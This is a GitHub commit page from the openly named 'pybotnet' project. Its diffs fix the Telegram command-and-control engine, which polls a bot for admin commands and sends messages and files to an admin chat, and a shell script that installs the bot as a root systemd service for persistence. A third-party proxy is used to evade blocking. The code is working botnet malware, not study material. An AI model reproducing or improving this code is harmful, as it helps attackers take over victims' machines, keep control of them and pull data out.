Skip to content

Commit

Permalink
Merge pull request #43 from onionj/fix-telegram-engine
Browse files Browse the repository at this point in the history
fixed telegram engine http-request
  • Loading branch information
onionj authored Jan 8, 2023
2 parents 5cd32a7 + 28c09c2 commit ce41180
Show file tree
Hide file tree
Showing 4 changed files with 36 additions and 24 deletions.
6 changes: 3 additions & 3 deletions install_as_service.sh
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#!/bin/sh

## add pybotnet to debian base linux systemd-service ##
## add pybotnet to Debian base Linux systemd-service ##

# -- HELP --:
# - replace youre telegram_bot_token, admin_id and bot_name with your own
Expand All @@ -16,9 +16,9 @@ bot_name=example_name_pybotnet
service_name=pybotnet
runner="/root/.config/.$service_name.sh"


# Create runner
tee<<EOF > $runner
#!/bin/
#!/bin/sh
apt-get update > /dev/null 2>&1 &&
apt-get install python3-pip -y -qq > /dev/null 2>&1 &&
apt-get install python3-dev -y -qq > /dev/null 2>&1 &&
Expand Down
42 changes: 29 additions & 13 deletions pybotnet/engines/telegram_engine.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
import os
from typing import Dict, List, Any
import logging
import urllib
from typing import Dict, List, Any

import json
import os

from .base_engine import BaseEngine

Expand Down Expand Up @@ -32,7 +32,7 @@ def __str__(self):
def receive(self) -> List[str]:
try:
api_url = f"https://api.telegram.org/bot{self.token}/Getupdates?offset={self._update_id}&limit=100"
response = self._http_request(method="POST", url=api_url)
response = self._http_request(method="POST", url=api_url, timeout=5)

if response is False:
return False
Expand All @@ -42,15 +42,19 @@ def receive(self) -> List[str]:
if admin_command and not self._is_first_run:
return admin_command.strip().split(" ")


self._is_first_run = False
return False

except Exception as e:
_logger.debug(f"receive: error {e}")
raise EngineException(e)

def send(self, message: str, additionalـinfo: dict = {}, reply_to_last_message: bool = False) -> bool:
def send(
self,
message: str,
additionalـinfo: dict = {},
reply_to_last_message: bool = False,
) -> bool:
if type(additionalـinfo) != dict:
additionalـinfo = {"additionalـinfo": additionalـinfo}

Expand All @@ -64,7 +68,7 @@ def send(self, message: str, additionalـinfo: dict = {}, reply_to_last_message:
message = urllib.parse.quote(message, safe=" ")

res = []
split_message = [] # split message to avoid telegram error
split_message = [] # split message to avoid telegram error
for i in range(0, len(message), 4096):
split_message.append(message[i : i + 4096])

Expand All @@ -73,7 +77,9 @@ def send(self, message: str, additionalـinfo: dict = {}, reply_to_last_message:
api_url = f"https://api.telegram.org/bot{self.token}/SendMessage?chat_id={self.admin_chat_id}&text={msg}"

if self._last_admin_message_id and reply_to_last_message:
api_url = f"{api_url}&reply_to_message_id={self._last_admin_message_id}"
api_url = (
f"{api_url}&reply_to_message_id={self._last_admin_message_id}"
)

res.append(self._http_request(method="POST", url=api_url))

Expand Down Expand Up @@ -107,13 +113,24 @@ def send_file(self, file_route: str, additionalـinfo: dict = {}) -> bool:
_logger.debug(f"send_file: error {e}")
return False

def _http_request(self, method: str, url: str) -> List[Dict[str, Any]]:
def _http_request(self, method: str, url: str, timeout=15) -> List[Dict[str, Any]]:
if self._getme():
self._use_proxy = False
return requests.request(method=method, url=url, timeout=15).json()["result"]
return (
requests.request(method=method, url=url, timeout=timeout)
.json()
.get("result", False)
)
else:
self._use_proxy = True
return proxy.http_request(method=method, url=url, timeout=15)
res = proxy.http_request(method=method, url=url, timeout=timeout)

if res == False:
return False

return json.loads(res.replace("edited_message", "message")).get(
"result", False
)

def _getme(self):
try:
Expand Down Expand Up @@ -152,15 +169,14 @@ def _last_admin_message(self, response: List[Dict[str, Any]]) -> str:

_logger.debug(f" - new command from admin: {last_text}")
admin_command = last_text

try:
self._last_admin_message_id = message["message"]["message_id"]
except:
self._last_admin_message_id = None

break


## clean previous messages ##
"""
if (
Expand Down
2 changes: 1 addition & 1 deletion pybotnet/package_info.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
__version__ = "2.2.2"
__version__ = "2.2.3"
__github_link__ = "https://github.com/onionj/pybotnet"
10 changes: 3 additions & 7 deletions pybotnet/utils/third_party_proxy/httpdebugger.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,20 +3,17 @@
"""

import logging

from typing import Union, Any, Literal
import requests


import json
from bs4 import BeautifulSoup


_logger = logging.getLogger(f"--> {__name__} ")


def http_request(
method: str, url: str, data: dict = None, headers: dict = None, timeout=10
):
) -> Union[any, Literal[False]]:
"""send http request by httpdebugger.com proxy"""

ContentDataBox = ""
Expand Down Expand Up @@ -56,8 +53,7 @@ def http_request(
"div", id="ResultData"
).text.strip()
response_source = response_source.replace("Response Content", "")
response_source = response_source.replace("edited_message", "message")
response_source = json.loads(response_source)["result"]

return response_source

except Exception as error:
Expand Down

0 comments on commit ce41180

Please sign in to comment.